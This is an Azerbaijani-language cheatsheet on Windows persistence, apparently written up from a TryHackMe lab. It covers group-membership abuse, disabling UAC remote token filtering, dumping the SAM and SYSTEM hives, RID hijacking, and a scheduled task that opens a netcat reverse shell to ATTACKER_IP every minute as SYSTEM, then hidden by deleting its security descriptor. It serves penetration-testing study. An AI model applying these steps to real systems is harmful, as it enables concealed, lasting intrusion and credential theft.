Windows Persistence
Last updated
Last updated
"Windows Davamlılığı"(Windows Persistence) zərərli aktorların və ya proqram təminatının Windows sisteminə giriş və nəzarəti saxlaması haqqındadır.Bu cheatsheet'də bunun həyata keçirilməsi üçün müxtəlif yolları göstərəcəm.
Hədəf maşınının parol heşlərini əldə etdikdən və istifadədə olan imtiyazsız hesablar üçün parolları uğurla sındırdıqdan sonra ona inzibati imtiyazlar qazandırmağın birbaşa yolu onu Administratorlar qrupuna daxil etməkdir. Bunun üçün aşağıdakı əmrdən istifadə edilə bilər:
Bu prosesi praktiki nümayiş etdirmək üçün bu TryHackMe lab'ından istifadə edəcəm:
1.Aşağıdakı əmr ilə Administratorlar qrupunun üzvlərinə baxaq
Gördüyünüz kimi yeganə istifadəçi Administratordur.
2.İndi yuxarı da qeyd etdiyim əmrdən istifadə edərək "thmuser0" istifadəçisini Administrators qrupuna əlavə edək:
Gördüyünüz kimi thmuser0 istifadəçisi artıq Administrators qrupunun üzvüdür.
Bundan başqa, istifadəçini Backup Operators qrupuna daxil etməyi yoxlaya bilərik. Bu qrupdakı istifadəçilərin inzibati imtiyazları olmasa da sistemdə istənilən faylı və ya qeyd açarını oxumağa/yazmağa icazələri olur. Bu, bizə SAM və SYSTEM qeyd dəftərinin məzmununu kopyalamağa və hər hansı bir inzibati hesaba keçməyə imkan verir.
İmtiyazsız hesabı müxtəlif qruplara üzv edərək xüsusi icazələr əldə etsək də, RDP və ya WinRM istifadə edərək ona qoşulmaq üçün aşağıdakı qruplara əlavə etməliyik:
Artıq əldə edilmiş paroldan istifadə edərək uzaq maşından qoşulmaq mümkündür.Bunun üçün evil-winrm və ya xfreerdp alətlərindən istifadə edilə bilər. Evil-WinRM Windows mühitləri üçün nəzərdə tutulmuş nüfuz testi vasitəsidir. O, Windows maşınları ilə uzaqdan qarşılıqlı əlaqə yaratmaq və istismardan sonrakı tapşırıqları yerinə yetirmək üçün komanda xətti interfeysini təmin edir.Bundan fərqli olaraq xfreerdp, bizi GUI (Graphic User Interface) ilə təmin edir.
İstifadəçini Backups Operators qrupuna daxil etsək belə, evil-winrm və ya xfreerdp ilə istifadəçinin hesabına qoşulduqda gözlənildiyi kimi bütün fayllara daxil ola bilmirik. Bu, User Account Control(UAC) ilə bağlıdır. UAC tərəfindən həyata keçirilən xüsusiyyətlərdən biri olan LocalAccountTokenFilterPolicy, uzaqdan qoşulan istənilən local hesabı öz inzibati imtiyazlarından məhrum edir. Qrafik istifadəçi sessiyasında UAC vasitəsilə imtiyazlarınızı yüksəldə bilsəkdə, WinRM ilə qoşulduqda, inzibati imtiyazları olmayan giriş nişanı ilə məhdudlaşırılırıq. İstifadəçinin inzibati imtiyazlarını bərpa etmək üçün LocalAccountTokenFilterPolicy-ni deaktiv etməliyik:
Defolt (Dəyər = 0): Local hesablar yoxlanılır və uzaqdan daxil olmağa cəhd edərkən onların inzibati imtiyazları silinir. Bu, icazəsiz uzaqdan giriş riskini azaltmaq üçün təhlükəsizlik tədbiridir.
Dəyişdirilmiş (Dəyər = 1): Local hesablar hətta uzaqdan daxil olmaq üçün istifadə edildikdə belə öz inzibati imtiyazlarını saxlayır. Bu, UAC tərəfindən uzaq sessiyalar üçün tətbiq edilən filtrləmə mexanizmini effektiv şəkildə söndürür.
Artıq evil-winrm ilə istifadəçi hesabına qoşulub qrupları yoxladıqda, Backup Operators qrupu üçün imtiyazlarımızın aktiv olduğunu görürük:
Artıq SAM və SYSTEM fayllarının ehtiyat nüsxəsini çıxara və öz maşınımıza yükləyə bilərik:
İnzibatçı olmadan inzibati imtiyazlar əldə etməyin başqa bir üsulu, əməliyyat sisteminin sizin Administrator olduğunuzu düşünməsi üçün bəzi reyestr dəyərlərinin dəyişdirilməsidir. İstifadəçi yaradıldıqda, ona Relative ID (RID) adlı identifikator təyin edilir. RID sadəcə olaraq sistem üzrə istifadəçini təmsil edən rəqəmli identifikatordur. İstifadəçi daxil olduqda, LSASS prosesi öz RID-ini SAM qeyd dəftəri yuvasından alır və həmin RID ilə əlaqəli giriş nişanı yaradır. Reyestr dəyərinə müdaxilə edə bilsək, eyni RID-i hər iki hesabla əlaqələndirərək Windows-un imtiyazsız istifadəçiyə Administrator giriş nişanı təyin etməsinə nail ola bilərik. İstənilən Windows sistemində standart Administrator hesabına RID = 500 təyin edilir və adi istifadəçilər adətən RID >= 1000-ə malikdirlər.
İstifadəçilərin RID dəyərlərini görmək üçün aşağıdakı əmrdən istifadə edə bilərsiniz:
RID SID-nin son bitidir (Yusif üçün 1004 və Administrator üçün 500). SID, əməliyyat sisteminə bir domen üzrə istifadəçini müəyyən etməyə imkan verən identifikatordur. İndi biz Yusif adlı istifadəçi üçün RID=500 təyin etməliyik. Bunun üçün Regedit istifadə edərək SAM-a daxil olmaq lazımdır,lakin SAM yalnız SYSTEM hesabı ilə məhdudlaşır, ona görə də hətta Administrator hesabı ilə onu redaktə edə mümkün deyil. Bunu həyata keçirmək üçün psexec alətindən istifadə edə bilərik.PsExec, digər sistemlərdə prosesləri yerinə yetirməyə imkan verən bir alətdir. Yükləmək üçün bu keçiddən istifadə edə bilərsiniz.
Bu əmr Sistem hesabı altında yüksək imtiyazlarla Reyestr Redaktorunu işə salır.
Buradan maşında hər bir istifadəçi üçün bir açar olan "HKLM\SAM\SAM\Domains\Account\Users\" qovluğuna gedirik.
Yusif istifadəçisi tapmaq üçün onun RID dəyərinin hex formatından istifadə edəcəyik.Bu linkdən istifadə edərək çevirə bilərsiniz:
İstifadəçinin effektiv RID-ini 0x30 mövqeyində saxlayan F'ə daxil oluruq və EC 03 dəyərini Administratorun dəyərinə (F4 01 )dəyişirəm:
Yusif adlı istifadəçi növbəti dəfə sistemə daxil olduqda, LSASS onu Administratorla eyni RID ilə əlaqələndirəcək və onlara eyni imtiyazlar verəcək.
Tapşırıqları planlaşdırmağın ən sadə yolu daxili Windows tapşırıq planlaşdırıcısından istifadə etməkdir. Tapşırıq planlayıcısı tapşırığınızın nə vaxt başlayacağına nəzarət etməyə imkan verir ki, bu da sizə müəyyən saatlarda aktivləşəcək, vaxtaşırı təkrarlanacaq və ya hətta xüsusi sistem hadisələri baş verdikdə işə salınacaq tapşırıqları konfiqurasiya etməyə imkan verir. Komanda xəttindən tapşırıq planlayıcısı ilə qarşılıqlı əlaqə yaratmaq üçün "schtasks" əmrindən istifadə edilir.
Bu əmr arxa backdoor əmri yerinə yetirən planlaşdırılmış tapşırıq yaradır.
/create
: schtasks' dan istifadə edərək yeni tapşırıq yaratmaq üçün istifadə olunur.
/sc minute
: Planlaşdırma vahidini minute(dəqiqə) kimi təyin edir.
/mo 1
: Cədvəl üçün dəyişdirici təyin edir, hər 1 dəqiqədən bir.
/tn Backdoor
: Tapşırığın adını göstərir "Backdoor."
/tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449"
: İcra ediləcək əmri təyin edir. Bu nüumunədə, reverse shell yaratmaq üçün Netcat (nc64) alətindən istifadə edir. ATTACKER_IP-ni təcavüzkarın faktiki IP ünvanı ilə əvəz etməlisiniz. Bu əmr mahiyyətcə hədəf maşında shell açır və onu 4449-cu portdakı təcavüzkarın maşınına birləşdirir.
/ru SYSTEM
: Tapşırığın SYSTEM hesabından istifadə edərək ən yüksək imtiyazlarla işləməli olduğunu göstərir. Tapşırığı yüksək imtiyazlarla yerinə yetirməyə imkan verir.
Əmrin uğurlu olub-olmadığını yoxlamaq üçün aşağıdakı əmrdən istifadə edə bilərsiniz:
Tapşırığımız uğurla yaradıldı, lakin təhlükəyə məruz qalan istifadəçi planlaşdırılmış tapşırıqlarını sadalamağa çalışarsa,backdoor nəzərə çarpacaq.Bu tapşırığı gizlətmək üçün onun Təhlükəsizlik Deskriptorunu (SD) silməklə sistemdəki istənilən istifadəçi üçün görünməz edə bilərik. Təhlükəsizlik deskriptoru sadəcə olaraq hansı istifadəçilərin planlaşdırılan tapşırığa çıxışı olduğunu bildirən ACL-dir. Əgər istifadəçinizin planlaşdırılmış tapşırığı sorğulamağa icazəsi yoxdursa, Windows sizə yalnız istifadə etmək icazəniz olan tapşırıqları göstərdiyi üçün onu daha görə bilməyəcəksiniz. Bütün planlaşdırılan tapşırıqların təhlükəsizlik deskriptorları HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree-də saxlanılır. Siz yalnız SİSTEM imtiyazlarına sahibsinizsə, dəyəri silə bilərsiniz. Bunu etmək üçün, SYSTEM imtiyazları ilə Regedit-i açmaq üçün psexec istifadə edəcəm:
Tapşırığımı tapdım, indi isə onu görünməz etmək üçün SD'i silirəm:
İndi həmin faylı sorğulamaq üçün əmr yazıram:
Sistem artıq həmin tapşırığı tapa bilmir. Tapşırığı uğurla gizlətdik! Artıq sistemdən reverse shell əldə edib, uzaqdakı cihaza giriş etmək mümkündür.